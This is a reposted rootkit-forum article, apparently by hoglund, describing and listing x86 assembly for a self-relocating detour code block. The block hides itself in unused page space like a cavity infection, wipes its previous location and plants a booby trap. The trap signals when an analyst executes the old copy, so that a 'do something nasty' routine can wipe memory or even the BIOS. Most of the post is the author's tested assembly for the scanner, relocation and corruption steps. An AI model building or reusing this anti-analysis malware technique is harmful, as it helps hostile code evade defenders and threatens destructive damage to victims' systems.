[转载]Dynamic, Relocating code block with booby-trapping
文章作者:hoglund原始连接:[url]http://www.rootkit.com/newsread.php?newsid=335[/url]
I recently thought up this idea where you could create a position-independent code block for use w/ function detours. The function detour would branch to a code block to perform whatever magic hocus-pocus, logic mods, etc – but following the logic mods, the code block would then scan memory looking for a new place to put itself. Once finding such a location, the code block relocates itself and patches up the detour to point to the new location. If your attempting to debug this thing, you might find the code block one second, and it would vanish the next. I cooked up some basic code to illustrate the idea. First, the code block itself needs to be smallish because it needs to fit in the unused portion of memory at the end of a page (think cavity infection). Second, the code block should erase or corrupt the previous copy – the location it just left. To perform the scanning, I used a simple exception handling block and a brute force walk through memory at intervals of 0x1000 distant.
The steps are:
Run the code block header
Store the CPU state
Perform normal hocus-pocus
Setup an exception handler, save the old one
Scan memory for 200 unused bytes at the end of a page
If found, move a copy of myself to the new location
Put back old exception handler
Corrupt my current location
Fixup the detour patch to point to the new location
Return or jump back to the detoured function
Now, I didn’t want to stop here – I thought of an additional trick to apply when corrupting the previous code block location – I would set a booby trap to detect if someone is trying to analyze it. In this case, I just set a global flag if the location is ever executed again. The current valid code block will simply check this flag first, whenever it runs. If the flag is set, it can branch to a do_something_nasty routine which either issues an emergency wipe from memory, or even does something really mean like wipe the BIOS. The booby trap itself – in my example – is fairly simple. More extensive forms of booby trapping could be applied of course.
So the new set of steps are:
Run the code block header
Store the CPU state
CHECK TO SEE IF BOOBY TRAP HAS BEEN TRIPPED
If so, goto DO_SOMETHING_NASTY
Perform normal hocus-pocus
Setup an exception handler, save the old one
Scan memory for 200 unused bytes at the end of a page
If found, move a copy of myself to the new location
Put back old exception handler
Corrupt my current location
PLACE BOOBY TRAP INTO CORRUPTED PORTION
Fixup the detour patch to point to the new location
Return or jump back to the detoured function
It is assumed the DO_SOMETHING_NASTY is just tacked on to the end of the moveable code segment.
So, this is just a creative idea and I’ve only spent about 3 hours toying with it. Here is my pseudo-code so far – which I have tested in a harness and it works. There are several modifications or problems which I identify at the end of this article.
CODE FOLLOWS
// 7FFDFF80, global for detcheck
// 7FFDFF84, global count
// 7FFDFF88, original stack pointer
// 7FFDFF8C, original exception handler
HEADER:
// move the stack out of the way and save the ptr
mov eax, 0x7FFDFF88
pushad
pushfd
mov dword ptr [eax], esp
sub esp, 200
nop
nop
nop
nop
DETCHECK:
push eax
mov eax, dword ptr [0x7FFDFF80]
cmp eax, 1
pop eax
je FOUNDME
PAYLOAD:
// do whatever you need to do here
nop
nop
nop
nop
nop
SCANNER:
// store the global count
mov ecx, 0x1000
mov eax, 0x7ffdff84
mov [eax], ecx
//setup the exception handler
push offset EXHANDLE
mov ebx, dword ptr fs:[0x00000000]
//save ptr to previous
push ebx
mov edi, 0x7ffdff8C
mov [edi], ebx
mov dword ptr fs:[0], esp
SCANNEXT:
mov eax, 0x7ffdff84
mov ecx, [eax]
add ecx, 0x1000
mov [eax], ecx
mov eax, ecx
add eax, 0x0FFF
mov ebx, [eax]
// we are here if the memory is valid
// scan backwards and see if we have 200 free bytes
sub eax, 200
ZTS:
test eax, 0xFFF
je RELOCATE
mov bl, [eax]
inc eax
cmp bl, 0
jz ZTS
cmp ecx, 0x7FF00000
ja NOTFOUND
EXHANDLE:
// just keep scanning
jmp SCANNEXT
RELOCATE:
//we found good memory
//undo the exception handler
mov esi, 0x7ffdff8C
mov ebx, [esi]
mov dword ptr fs:[0], ebx
//perform the relocation
sub eax, 199
mov esi, HEADER
mov edi, eax
mov ecx, 199
rep movsb
nop
CORRUPTOR:
// eax has original location
mov edi, eax
mov esi, BOOBY
mov ecx, 16
rep movsd
jmp RETURN
BOOBY:
//placeholder for boobytrap instructions
//to be copied into corrupted block,
//not executed under normal conditions
mov eax, dword ptr [0x7FFDFF80]
mov [eax], 1
RETURN:
// get back the original stack ptr,
// register context, and fix esp for original value
mov eax, 0x7FFDFF88
mov esp, [eax]
popfd
popad
// return control to your detoured function here, either w/
// ret, or jmp
ret
// these locations are for exception conditions, to be done
NOTFOUND:
nop
FOUNDME:
//do something really nasty here
nop
nop
nop
nop
nop
nop
One novel idea here is the use of the 7FFD page to store global variables. Perhaps a better way would be to store such variables in or around the code segment itself since the 7FFD variables are a consistent reference which could be leveraged by the reverse engineer. The CPU save and restore mechanism works, and the use of the global area to store ESP and the exception handler seems to work well. Also, the loop to scan for a 200 byte unused memory page works well, but it needs an upgrade to check only .text segments. If you copy yourself to a non .text segment you might run the risk of being overwritten by data. The payload is not implemented here, of course, and neither is the FOUNDME block, which would be the DO_SOMETHING_NASTY response. The length of the code block can be changed, of course, 200 being rather arbitrary. Finally, the corruptor here just places the simplistic booby trap – whereas it could be a bit more complex in both corruption and booby-trapping.
Anyway, this is just to tickle your imagination, and to also get something of a new article posted since we’ve all been draggin’ our butts for the past few months :-).
页:
[1]